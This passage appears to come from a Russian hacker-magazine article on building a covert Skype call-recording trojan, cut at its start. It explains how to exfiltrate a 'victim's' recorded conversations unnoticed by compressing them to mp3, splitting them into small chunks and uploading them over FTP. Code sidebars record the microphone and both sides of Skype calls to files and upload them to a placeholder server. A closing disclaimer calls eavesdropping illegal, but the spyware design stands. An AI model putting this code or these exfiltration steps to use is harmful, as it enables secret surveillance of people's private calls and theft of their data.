отправишь. Мало того, что файлы со звуком брутально весят, так еще и пересылать
их протоколу smtp совсем не айс.

Задача вывода файлов усложняется в несколько раз, если юзер сидит не на
безлимите (да-да, такие еще встречаются). В этом случае пересылка больших по
объему файлов не останется незамеченной в статистике и это обязательно
насторожит продвинутого пользователя. Особенно, когда он будет испытывать
большие тормоза во время нахождения в сети.

Немного покумекав, я пришел к следующему алгоритму:

  1. Кодирование каждого файла со звуком в формат mp3. Изначально все разговоры
    нашей жертвы мы писали в WAV’ы, которые очень много весят. Например, средний
    размер продолжительной беседы (около часа) может достигать 50-80 метров (в
    зависимости от настроек). Пересылать такой файл в чистом виде, мягко говоря,
    нереально. Перекодировка в формат mp3 частично решит проблему размера. Если
    выставить максимальную степень сжатия и минимальный битрейт, то размер удастся
    сократить в 3-4 раза. Это уже лучше, но не идеально. Вывод тех же 5 метров
    может показаться затруднительным.
  2. Разбивка файла на более мелкие части. В предыдущем абзаце я сказал, что
    даже такая операция как кодирование файла в mp3 не спасет тебя от проблем с
    пересылкой. Лучше всего разбить сжатый файл на более мелкие части и отправлять
    уже их. Например, раздробить mp3 на частички по 300-500 Кб. Такие крохотульки
    будет куда проще и быстрее вывести с поля битвы.

По подготовке файлов к отправке я вроде все сказал. Быстренько пробежимся по
способу отправки. Несколькими абзацами выше, я заявил, что пересылать такие вещи
по smtp не очень правильно, да и попросту проблематично. Куда лучше заюзать
проверенный годами старый добрый ftp! Встроить в свое.NET-приложение
простенький FTP-клиент – что может быть проще? Взгляни на врезку и убедись сам.

Happy end

Нет предела возможностям человека и нет предела совершенству. Нерешаемых
задач не бывает и все трудности можно преодолеть. Сегодня я рассказал тебе про
строение скелета voice-logger’a, и дальнейший выбор зависит только от тебя. Либо
ты сведешь всю полученную инфу в одну кучу и создашь неуловимого шпиона для
скайпа, либо разработаешь профессиональный инструмент для легального бэкапа
переговоров:). Выбор за тобой, мне лишь остается попрощаться и пожелать тебе
удачи!

P.S. Полные исходники моего трояна не проси. Все равно не дам, я жадный:). А
если серьезно, я не поддерживаю такие вещи и не хочу, чтобы многие тупо компили
готовый проект и приступали к боевым действиям. Прослушка разговоров – это
вторжение в личную жизнь, а это, помимо незаконности, еще и подло! До встречи!

Warning

Подслушивание чужих разговоров – глубоко незаконная вещь. Используй
полученную информацию только для создания бэкапера своих разговоров!

Врезка 1. Записываем звук

//Подготавливаемся к записи
waveIn = new WaveIn();
waveIn.DeviceNumber = 0;
waveIn.DataAvailable += waveIn_DataAvailable;
int sampleRate = 8000;
int channels = 1;

waveIn.WaveFormat = new WaveFormat(sampleRate, channels);
waveIn.StartRecording();

void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
if (recordingState == RecordingState.Recording)
writer.WriteData(e.Buffer, 0, e.BytesRecorded);

Врезка 2. Запись входящих звонков в файл

try
{
// Запись входящего звонка
if (status == TCallStatus.clsInProgress)
{
//Захватываем звук и сохраняем его в
//файл (поток пользователя)
call.set_CaptureMicDevice(

@"C:\temp\sound_user" + call.Id.ToString() +
".wav");

// Захватываем звук и сохраняем
//его в файл (всех остальных собеседников
call.set_OutputDevice(
TCallIoDeviceType.callIoDeviceTypeFile,
@"C:\temp\sound_people" + call.Id.ToString() +
".wav");

}
}
catch (Exception e)
{
//Выведем ошибки
AddTextToTextBox1(DateTime.Now.ToLocalTime() + ": " +
" Our Code – Невозможно выполнить захват аудио: " + call.Id.ToString() +
" – Источник ошибки: " + e.Source + " – Текст ошибки: " + e.Message +
"\r\n");

Врезка 3. FTP клиент средствами класса на основе класса FTP Dot .NET

try
{
FtpConnection myFtpConnection =
new FtpConnection();
myFtpConnection.MessageReceived +=
new FtpConnectionEventHandler(connection_MessageReceived);

myFtpConnection.Host =
"ftp://myftpserver";
myFtpConnection.UserName =
"username";
myFtpConnection.Password =
"password";
myFtpConnection.RemoteDirectory =
"/temp/testforxakep";
myFtpConnection.Upload(@"C:\temp\sound.part1.mp3",
"sound.part1.mp3");
}

catch (WebException ex)
{

}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}

void connection_MessageReceived(object sender,
FtpConnectionEventArgs e)
{
Console.WriteLine(e.Message);